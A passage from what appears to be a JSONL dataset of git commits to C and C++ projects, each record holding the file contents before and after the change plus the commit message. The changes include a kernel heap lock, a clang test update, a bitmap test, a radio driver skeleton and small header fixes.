<kernel\/port\/stdio.h>\n#include <kernel\/port\/panic.h>\n#include <kernel\/arch\/lock.h>\n\nstatic mutex_t heap_lock;\n\n\/* round_up returns `n` rounded to the next value that is zero\n * modulo `align`. *\/\nstatic uintptr_t round_up(uintptr_t n, uintptr_t align) {\n\tif (n % align) {\n\t\treturn n + (align - (n % align));\n\t}\n\treturn n;\n}\n\nuintptr_t heap_next, heap_end;\n\nvoid heap_init(uintptr_t start, uintptr_t end) {\n\theap_next = start;\n\theap_end = end;\n}\n\nvoid *kalloc_align(uintptr_t size, uintptr_t alignment) {\n\twait_acquire(&heap_lock);\n\theap_next = round_up(heap_next, alignment);\n\tuintptr_t ret = heap_next;\n\theap_next += size;\n\tif(heap_next > heap_end) {\n\t\tpanic(\"Out of space!\");\n\t}\n\trelease(&heap_lock);\n\treturn (void*)ret;\n}\n\nvoid *kalloc(uintptr_t size) {\n\treturn kalloc_align(size, sizeof(uintptr_t));\n}\n\nvoid kfree(void *ptr, uintptr_t size) {\n}\n","subject":"Put a lock around kalloc*","message":"Put a lock around kalloc*\n","lang":"C","license":"isc","repos":"zenhack\/zero,zenhack\/zero,zenhack\/zero"}
{"commit":"295b1a050560f0384463c79a09cec83970e9c2d1","old_file":"peertalk\/PTPrivate.h","new_file":"peertalk\/PTPrivate.h","old_contents":"#if (defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && (!defined(__IPHONE_6_0) || __IPHONE_OS_VERSION_MIN_REQUIRED < __IPHONE_6_0)) || \\\n    (defined(__MAC_OS_X_VERSION_MIN_REQUIRED) && (!defined(__MAC_10_8) || __MAC_OS_X_VERSION_MIN_REQUIRED < __MAC_10_8))\n#define PT_DISPATCH_RETAIN_RELEASE 1\n#endif\n\n#if !defined(PT_DISPATCH_RETAIN_RELEASE)\n#define PT_PRECISE_LIFETIME\n#define PT_PRECISE_LIFETIME_UNUSED\n#else\n#define PT_PRECISE_LIFETIME __attribute__((objc_precise_lifetime))\n#define PT_PRECISE_LIFETIME_UNUSED __attribute__((objc_precise_lifetime, unused))\n#endif\n","new_contents":"#if (defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && (!defined(__IPHONE_6_0) || __IPHONE_OS_VERSION_MIN_REQUIRED < __IPHONE_6_0)) || \\\n    (defined(__MAC_OS_X_VERSION_MIN_REQUIRED) && (!defined(__MAC_10_8) || __MAC_OS_X_VERSION_MIN_REQUIRED < __MAC_10_8))\n#define PT_DISPATCH_RETAIN_RELEASE 1\n#endif\n\n#if (!defined(PT_DISPATCH_RETAIN_RELEASE))\n#define PT_PRECISE_LIFETIME __attribute__((objc_precise_lifetime))\n#define PT_PRECISE_LIFETIME_UNUSED __attribute__((objc_precise_lifetime, unused))\n#else\n#define PT_PRECISE_LIFETIME\n#define PT_PRECISE_LIFETIME_UNUSED\n#endif\n","subject":"Fix header defines based on ARC version","message":"Fix header defines based on ARC version\n","lang":"C","license":"mit","repos":"rsms\/peertalk,rsms\/peertalk,rsms\/peertalk"}
{"commit":"3c065012a278ce325f7f2f64abdb6fa2b78eae41","old_file":"src\/tests\/util\/bitmap_test.c","new_file":"src\/tests\/util\/bitmap_test.c","old_contents":"\/**\n * @file\n *\n * @date Oct 21, 2013\n * @author Eldar Abusalimov\n *\/\n\n#include <embox\/test.h>\n\n#include <util\/bitmap.h>\n\nEMBOX_TEST_SUITE(\"util\/bitmap test\");\n\n#define TEST_BITMAP_SZ 100\n\nTEST_CASE() {\n\tBITMAP_DECL(bitmap, TEST_BITMAP_SZ);\n\n\tbitmap_clear_all(bitmap, TEST_BITMAP_SZ);\n\ttest_assert_equal(bitmap_find_first_set_bit(bitmap, TEST_BITMAP_SZ),\n\t\t\tTEST_BITMAP_SZ \/* not found *\/ );\n\n\tfor (int i = TEST_BITMAP_SZ-1; i >= 0; --i) {\n\t\tbitmap_set_bit(bitmap, i);\n\n\t\ttest_assert_not_zero(bitmap_test_bit(bitmap, i));\n\t\ttest_assert_equal(bitmap_find_first_set_bit(bitmap, TEST_BITMAP_SZ), i);\n\t}\n\n}\n","new_contents":"\/**\n * @file\n *\n * @date Oct 21, 2013\n * @author Eldar Abusalimov\n *\/\n\n#include <embox\/test.h>\n\n#include <string.h>\n#include <util\/bitmap.h>\n\nEMBOX_TEST_SUITE(\"util\/bitmap test\");\n\n#define TEST_ALINGED_SZ    64\n#define TEST_UNALINGED_SZ  100\n\nTEST_CASE(\"aligned size with red zone after an array\") {\n\tBITMAP_DECL(bitmap, TEST_ALINGED_SZ + 1);\n\n\tmemset(bitmap, 0xAA, sizeof(bitmap));\n\tbitmap_clear_all(bitmap, TEST_ALINGED_SZ);\n\n\ttest_assert_equal(bitmap_find_first_bit(bitmap, TEST_ALINGED_SZ),\n\t\t\tTEST_ALINGED_SZ \/* not found *\/ );\n}\n\nTEST_CASE(\"unaligned size\") {\n\tBITMAP_DECL(bitmap, TEST_UNALINGED_SZ);\n\n\tbitmap_clear_all(bitmap, TEST_UNALINGED_SZ);\n\ttest_assert_equal(bitmap_find_first_bit(bitmap, TEST_UNALINGED_SZ),\n\t\t\tTEST_UNALINGED_SZ \/* not found *\/ );\n\n\tfor (int i = TEST_UNALINGED_SZ-1; i >= 0; --i) {\n\t\tbitmap_set_bit(bitmap, i);\n\n\t\ttest_assert_not_zero(bitmap_test_bit(bitmap, i));\n\t\ttest_assert_equal(bitmap_find_first_bit(bitmap, TEST_UNALINGED_SZ), i);\n\t}\n\n}\n","subject":"Add bitmap test case which reveals a bug","message":"Add bitmap test case which reveals a bug","lang":"C","license":"bsd-2-clause","repos":"mike2390\/embox,abusalimov\/embox,vrxfile\/embox-trik,mike2390\/embox,Kefir0192\/embox,Kefir0192\/embox,embox\/embox,gzoom13\/embox,gzoom13\/embox,abusalimov\/embox,gzoom13\/embox,embox\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kefir0192\/embox,abusalimov\/embox,Kefir0192\/embox,mike2390\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kakadu\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,gzoom13\/embox,Kefir0192\/embox,mike2390\/embox,embox\/embox,Kakadu\/embox,mike2390\/embox,Kakadu\/embox,embox\/embox,vrxfile\/embox-trik,Kakadu\/embox,embox\/embox,abusalimov\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kefir0192\/embox,mike2390\/embox,abusalimov\/embox,mike2390\/embox,gzoom13\/embox,Kakadu\/embox,Kefir0192\/embox,abusalimov\/embox,embox\/embox"}
{"commit":"35793f330181dae066b999c56ef117763c1df13c","old_file":"test\/Headers\/altivec-header.c","new_file":"test\/Headers\/altivec-header.c","old_contents":"\/\/ REQUIRES: powerpc-registered-target\n\/\/ RUN: %clang_cc1 -triple powerpc64-unknown-unknown -faltivec -ffreestanding -S -o - %s | FileCheck %s\n\/\/ RUN: %clang_cc1 -triple powerpc64-unknown-unknown -faltivec -ffreestanding -fno-lax-vector-conversions -S -o - %s | FileCheck %s\n\/\/ RUN: %clang_cc1 -triple powerpc64-unknown-unknown -faltivec -ffreestanding -x c++ -S -o - %s | FileCheck %s\n\n#include <altivec.h>\n\n\/\/ Verify that simply including <altivec.h> does not generate any code\n\/\/ (i.e. all inline routines in the header are marked \"static\")\n\n\/\/ CHECK: .text\n\/\/ CHECK-NEXT: .file\n\/\/ CHECK-NEXT: {{^$}}\n\/\/ CHECK-NEXT: .ident{{.*$}}\n\/\/ CHECK-NEXT: .section \".note.GNU-stack\",\"\",@progbits\n\/\/ CHECK-NOT: .\n","new_contents":"\/\/ RUN: %clang_cc1 -triple powerpc64-unknown-unknown -faltivec -ffreestanding -emit-llvm -o - %s | FileCheck %s\n\/\/ RUN: %clang_cc1 -triple powerpc64-unknown-unknown -faltivec -ffreestanding -emit-llvm -fno-lax-vector-conversions -o - %s | FileCheck %s\n\/\/ RUN: %clang_cc1 -triple powerpc64-unknown-unknown -faltivec -ffreestanding -emit-llvm -x c++ -o - %s | FileCheck %s\n\n#include <altivec.h>\n\n\/\/ Verify that simply including <altivec.h> does not generate any code\n\/\/ (i.e. all inline routines in the header are marked \"static\")\n\n\/\/ CHECK: target triple = \"powerpc64-\n\/\/ CHECK-NEXT: {{^$}}\n\/\/ CHECK-NEXT: llvm.ident\n","subject":"Make this test not rely on a backend being registered.","message":"Make this test not rely on a backend being registered.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@233993 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"06658dd37b8a6ffcb05603e57720831422785e8b","old_file":"Library\/BigFix\/Error.h","new_file":"Library\/BigFix\/Error.h","old_contents":"#ifndef BigFix_Error_h\n#define BigFix_Error_h\n\n#include <exception>\n#include <stddef.h>\n\nnamespace BigFix\n{\n\nclass Error : public std::exception\n{\npublic:\n  template <size_t n>\n  explicit Error( const char ( &literal )[n] )\n    : m_what( literal )\n  {\n  }\n\n  virtual const char* what() const throw();\n\nprivate:\n  const char* m_what;\n};\n\n}\n\n#endif\n","new_contents":"#ifndef BigFix_Error_h\n#define BigFix_Error_h\n\n#include <exception>\n#include <stddef.h>\n\nnamespace BigFix\n{\n\nclass Error : public std::exception\n{\npublic:\n  template <size_t n>\n  explicit Error( const char ( &literal )[n] ) throw()\n    : m_what( literal )\n  {\n  }\n\n  virtual const char* what() const throw();\n\nprivate:\n  const char* m_what;\n};\n\n}\n\n#endif\n","subject":"Add throw() declaration to avoid dead code coverage","message":"Add throw() declaration to avoid dead code coverage\n","lang":"C","license":"apache-2.0","repos":"bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive,bigfix\/bfarchive"}
{"commit":"307d2ff539a432eb2fb022aee0bcced73eb34773","old_file":"src\/rh_nrf24.c","new_file":"src\/rh_nrf24.c","old_contents":"","new_contents":"\/*\n * This file is part of the KNOT Project\n *\n * Copyright (c) 2015, CESAR. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *    * Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *    * Redistributions in binary form must reproduce the above copyright\n *      notice, this list of conditions and the following disclaimer in the\n *      documentation and\/or other materials provided with the distribution.\n *    * Neither the name of the CESAR nor the\n *      names of its contributors may be used to endorse or promote products\n *      derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL CESAR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <errno.h>\n#include <stdio.h>\n\n#include \"node.h\"\n\nstatic int nrf24_probe(void)\n{\n\treturn -ENOSYS;\n}\n\nstatic void nrf24_remove(void)\n{\n}\n\nstatic int nrf24_listen(void)\n{\n\treturn -ENOSYS;\n}\n\nstatic int nrf24_accept(int srv_sockfd)\n{\n\treturn -ENOSYS;\n}\n\nstatic ssize_t nrf24_recv(int sockfd, void *buffer, size_t len)\n{\n\treturn -ENOSYS;\n}\n\nstatic ssize_t nrf24_send(int sockfd, const void *buffer, size_t len)\n{\n\treturn -ENOSYS;\n}\n\nstatic struct node_ops nrf24_ops = {\n\t.name = \"Radio Head: nRF24\",\n\t.probe = nrf24_probe,\n\t.remove = nrf24_remove,\n\n\t.listen = nrf24_listen,\n\t.accept = nrf24_accept,\n\t.recv = nrf24_recv,\n\t.send = nrf24_send\n};\n\n\/*\n * The following functions MAY be implemented as plugins\n * initialization functions, avoiding function calls such\n * as manager@manager_start()->node@node_init()->\n * manager@node_ops_register()->node@node_probe()\n *\/\nint node_init(void)\n{\n\treturn node_ops_register(&nrf24_ops);\n}\n\nvoid node_exit(void)\n{\n}\n","subject":"Add RadioHead nRF24 node 'driver' skeleton","message":"gw: Add RadioHead nRF24 node 'driver' skeleton\n\nThis patch adds a 'driver' to manage nRF24 radio supported by Radio\nHead library.\n","lang":"C","license":"lgpl-2.1","repos":"CESARBR\/knot-service-source,CESARBR\/knot-service-source,CESARBR\/knot-service-source,CESARBR\/knot-service-source,CESARBR\/knot-service-source"}
{"commit":"72e1682bbdfd497ce838d648bb2cb6047c015f6f","old_file":"test\/Analysis\/array-struct.c","new_file":"test\/Analysis\/array-struct.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nstruct s {};\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n","subject":"Add random array and struct test code for SCA.","message":"Add random array and struct test code for SCA.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58085 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"9440f74bb456fb8a82a92bb662a00e1ecdb1b14f","old_file":"3RVX\/OSD\/BrightnessOSD.h","new_file":"3RVX\/OSD\/BrightnessOSD.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include \"OSD.h\"\n\nclass BrightnessOSD : public OSD {\npublic:\n    BrightnessOSD();\n\n    virtual void Hide();\n    virtual void ProcessHotkeys(HotkeyInfo &hki);\n\nprivate:\n    MeterWnd _mWnd;\n\n    virtual void OnDisplayChange();\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n};","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include \"OSD.h\"\n\nclass BrightnessOSD : public OSD {\npublic:\n    BrightnessOSD();\n\n    virtual void Hide();\n    virtual void ProcessHotkeys(HotkeyInfo &hki);\n\nprivate:\n    MeterWnd _mWnd;\n    BrightnessController *_brightnessCtrl;\n\n    virtual void OnDisplayChange();\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n};","subject":"Add member variable for brightness controller","message":"Add member variable for brightness controller\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"6fbd382a761029a0d9549dd0e68485afd294f732","old_file":"test\/CodeGen\/vector-scalar.c","new_file":"test\/CodeGen\/vector-scalar.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\n\n\/\/ PR27085\n\ntypedef unsigned char uchar4  __attribute__ ((vector_size (4)));\n\n\/\/ CHECK: @add2\n\/\/ CHECK: add <4 x i8> {{.*}}, <i8 2, i8 2, i8 2, i8 2>\nuchar4 add2(uchar4 v)\n{\n  return v + 2;\n}\n\n\/\/ CHECK: @sub2\n\/\/ CHECK: sub <4 x i8> {{.*}}, <i8 2, i8 2, i8 2, i8 2>\nuchar4 sub2(uchar4 v)\n{\n  return v - 2;\n}\n\n\/\/ CHECK: @mul2\n\/\/ CHECK: mul <4 x i8> {{.*}}, <i8 2, i8 2, i8 2, i8 2>\nuchar4 mul2(uchar4 v)\n{\n  return v * 2;\n}\n\n\/\/ CHECK: @div2\n\/\/ CHECK: udiv <4 x i8> {{.*}}, <i8 2, i8 2, i8 2, i8 2>\nuchar4 div2(uchar4 v)\n{\n  return v \/ 2;\n}\n\ntypedef __attribute__(( ext_vector_type(4) )) unsigned char uchar4_ext;\n\n\/\/ CHECK: @div3_ext\n\/\/ CHECK: udiv <4 x i8> %{{.*}}, <i8 3, i8 3, i8 3, i8 3>\nuchar4_ext div3_ext(uchar4_ext v)\n{\n  return v \/ 3;\n}\n","subject":"Add vector add\/sub\/mul\/div by scalar tests (PR27085)","message":"Add vector add\/sub\/mul\/div by scalar tests (PR27085)\n\nEnsure the scalar is correctly splatted to all lanes\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@324818 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"f52cef415e8125d92615a90b2b93497fda5de9c6","old_file":"GITRepo+Protected.h","new_file":"GITRepo+Protected.h","old_contents":"\/\/\n\/\/  GITRepo+Protected.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 05\/08\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n@interface GITRepo ()\n\n- (NSString*)objectPathFromHash:(NSString*)hash;\n- (NSData*)dataWithContentsOfHash:(NSString*)hash;\n- (void)extractFromData:(NSData*)data\n                   type:(NSString**)theType\n                   size:(NSUInteger*)theSize\n                andData:(NSData**)theData;\n\n#pragma mark -\n#pragma mark Object instanciation methods\n- (id <GITObject>)objectWithHash:(NSString*)hash;\n- (GITCommit*)commitWithHash:(NSString*)hash;\n- (GITTag*)tagWithHash:(NSString*)hash;\n- (GITTree*)treeWithHash:(NSString*)hash;\n- (GITBlob*)blobWithHash:(NSString*)hash;\n\n@end\n","new_contents":"\/\/\n\/\/  GITRepo+Protected.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 05\/08\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n@protocol GITObject;\n@interface GITRepo ()\n\n- (NSString*)objectPathFromHash:(NSString*)hash;\n- (NSData*)dataWithContentsOfHash:(NSString*)hash;\n- (void)extractFromData:(NSData*)data\n                   type:(NSString**)theType\n                   size:(NSUInteger*)theSize\n                andData:(NSData**)theData;\n\n#pragma mark -\n#pragma mark Object instanciation methods\n- (id <GITObject>)objectWithHash:(NSString*)hash;\n- (GITCommit*)commitWithHash:(NSString*)hash;\n- (GITTag*)tagWithHash:(NSString*)hash;\n- (GITTree*)treeWithHash:(NSString*)hash;\n- (GITBlob*)blobWithHash:(NSString*)hash;\n\n@end\n","subject":"Add missing @protocol forward declaration","message":"Add missing @protocol forward declaration\n","lang":"C","license":"mit","repos":"schacon\/cocoagit,geoffgarside\/cocoagit,schacon\/cocoagit,geoffgarside\/cocoagit"}
{"commit":"d4cd3990499d349f671b5dcd6b2b8dd2e6a47f39","old_file":"meta-extractor\/include\/CSVWriter.h","new_file":"meta-extractor\/include\/CSVWriter.h","old_contents":"#ifndef _CSVWRITER_H_\n#define _CSVWRITER_H_\n\n#include <string>\n#include <istream>\n#include <stdexcept>\n\nnamespace CSV {\n    class Writer {\n        public:\n            static const char CSV_SEP = '|';\n\n            Writer(std::ostream& output);\n\n            Writer operator<< (const std::string& data);\n\n            Writer next();\n\n        private:\n            std::ostream& output;\n            bool isFirstValue;\n\n            std::string clean(const std::string&);\n    };\n}\n\n#endif\n","new_contents":"#ifndef _CSVWRITER_H_\n#define _CSVWRITER_H_\n\n#include <string>\n#include <istream>\n#include <stdexcept>\n\nnamespace CSV {\n    class Writer {\n        public:\n            static const char CSV_SEP = ',';\n\n            \/**\n             * Construct a CSV::Writer that uses ',' as value separator.\n             *\/\n            Writer(std::ostream& output);\n\n            \/**\n             * Write the given value to the csv file\n             *\/\n            Writer operator<< (const std::string& data);\n            \/**\n             * Advance to the next line\n             *\/\n            Writer next();\n\n        protected:\n            \/**\n             * Clean up (escape) the given value to be used in this object.\n             * Note: This is called internally in operator<<(const std::string&)\n             *\/\n            std::string clean(const std::string& data);\n\n        private:\n            std::ostream& output;\n            bool isFirstValue;\n    };\n}\n\n#endif\n","subject":"Improve and document CSV::Writer interface","message":"Improve and document CSV::Writer interface\n\n',' is now the default value separator as in \"comma-separated values\".\n","lang":"C","license":"mit","repos":"klemens\/ALI-CC,klemens\/ALI-CC,klemens\/ALI-CC"}
{"commit":"87b1da17fccaee017c8920dc6da9892ff91e50f3","old_file":"planb\/PBManifest.h","new_file":"planb\/PBManifest.h","old_contents":"\/*\n Copyright 2018 Google Inc.\n\n Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n use this file except in compliance with the License.  You may obtain a copy\n of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  See the\n License for the specific language governing permissions and limitations under\n the License.\n *\/\n\n@import Foundation;\n\n\/\/\/ PBManifest handles downloading and parsing a list of packages to fetch and install.\n@interface PBManifest : NSObject\n\n- (instancetype)init NS_UNAVAILABLE;\n\n\/\/\/ Designated initializer.\n- (instancetype)initWithURL:(NSURL *)manifestURL NS_DESIGNATED_INITIALIZER;\n\n\/\/\/ Download and parse the manifest.\n- (void)downloadManifest;\n\n\/\/\/ Return list of packages in the manifest for the given track.\n- (NSArray *)packagesForTrack:(NSString *)track;\n\n\/\/\/ The NSURLSession to use for downloading packages. If not set, a default one will be used.\n@property NSURLSession *session;\n\n\/\/\/ The number of seconds to allow downloading before timing out. Defaults to 300 (5 minutes).\n@property NSUInteger downloadTimeoutSeconds;\n\n\/\/\/ The number of download attempts before giving up. Defaults to 5.\n@property NSUInteger downloadAttemptsMax;\n\n@end\n","new_contents":"\/*\n Copyright 2018 Google Inc.\n\n Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n use this file except in compliance with the License.  You may obtain a copy\n of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  See the\n License for the specific language governing permissions and limitations under\n the License.\n *\/\n\n@import Foundation;\n\n\/\/\/ PBManifest handles downloading and parsing a list of packages to fetch and install.\n@interface PBManifest : NSObject\n\n- (instancetype)init NS_UNAVAILABLE;\n\n\/\/\/ Designated initializer.\n- (instancetype)initWithURL:(NSURL *)manifestURL NS_DESIGNATED_INITIALIZER;\n\n\/\/\/ Download and parse the manifest.\n- (void)downloadManifest;\n\n\/\/\/ Return list of packages in the manifest for the given track.\n- (NSArray *)packagesForTrack:(NSString *)track;\n\n\/\/\/ The NSURLSession to use for downloading packages. If not set, a default one will be used.\n@property NSURLSession *session;\n\n\/\/\/ The number of seconds to allow downloading before timing out. Defaults to 300 (5 minutes).\n\/\/\/ TODO(nguyenphillip): use session config's timeoutIntervalForResource to handle timeouts, and\n\/\/\/ make session a required argument of initializer for both PBManifest and PBPackageInstaller.\n@property NSUInteger downloadTimeoutSeconds;\n\n\/\/\/ The number of download attempts before giving up. Defaults to 5.\n@property NSUInteger downloadAttemptsMax;\n\n@end\n","subject":"Add TODO to replace downloadTimeoutSeconds property with session config timeout.","message":"Add TODO to replace downloadTimeoutSeconds property with session config timeout.\n","lang":"C","license":"apache-2.0","repos":"google\/macops-planb,google\/macops-planb"}
{"commit":"0a46d15de59c4921dff03dc06c348cb4f1526708","old_file":"starlight.h","new_file":"starlight.h","old_contents":"#pragma once\n#ifdef _MSC_VER\n#define SL_CALL __vectorcall\n#else\n#define SL_CALL\n#endif\n","new_contents":"#pragma once\n#include <string>\n\n#if 0\nint Stricmp(const char* str1, const char* str2) {\n\tint d;\n\twhile ((d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++;\n\t\tstr2++;\n\t}\n\treturn d;\n}\n\nint Strnicmp(const char* str1, const char* str2, int count) {\n\tint d = 0;\n\twhile (count > 0 && (d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++; str2++; count--;\n\t}\n\treturn d;\n}\n#endif\n\n#ifdef _MSC_VER\n#define SL_CALL __vectorcall\n#else\n#define SL_CALL\n#endif\n\n#define COUNT_OF(X) (sizeof(X) \/ sizeof((X)[0]))\n#define ZERO_MEM(X, Y) (memset(X, 0, Y));","subject":"Add own versions of _countof and ZeroMemory","message":"Add own versions of _countof and ZeroMemory\n","lang":"C","license":"mit","repos":"darkedge\/starlight,darkedge\/starlight,darkedge\/starlight"}
{"commit":"d3fbf13c265f21b644cccd55ba91a831a2c2ffbb","old_file":"test2\/inline\/static_var_inlined.c","new_file":"test2\/inline\/static_var_inlined.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 0 %s\n\/\/ RUN: %check %s\n\n__attribute((always_inline))\ninline void *f(unsigned size)\n{\n\tstatic char malloc_buf[16]; \/\/ CHECK: warning: mutable static variable in pure-inline function - may differ per file\n\tstatic void *ptr = malloc_buf; \/\/ CHECK: warning: mutable static variable in pure-inline function - may differ per file\n\tvoid *ret = ptr;\n\n\tptr += size;\n\n\treturn ret;\n}\n\nmain()\n{\n\tchar *a = f(2);\n\tchar *b = f(1);\n\n\tif(a + 2 != b)\n\t\tabort();\n\n\treturn 0;\n}\n","subject":"Check static locals aren't duplicated when inlined","message":"Check static locals aren't duplicated when inlined\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"3a90bf0bcec4c198eb56c676d562c609a4486c46","old_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","new_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","old_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n\/\/#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef, std::string levelPath = NULL);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef, std::string levelPath = NULL);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","subject":"ADD definition again to start without menu","message":"ADD definition again to start without menu\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
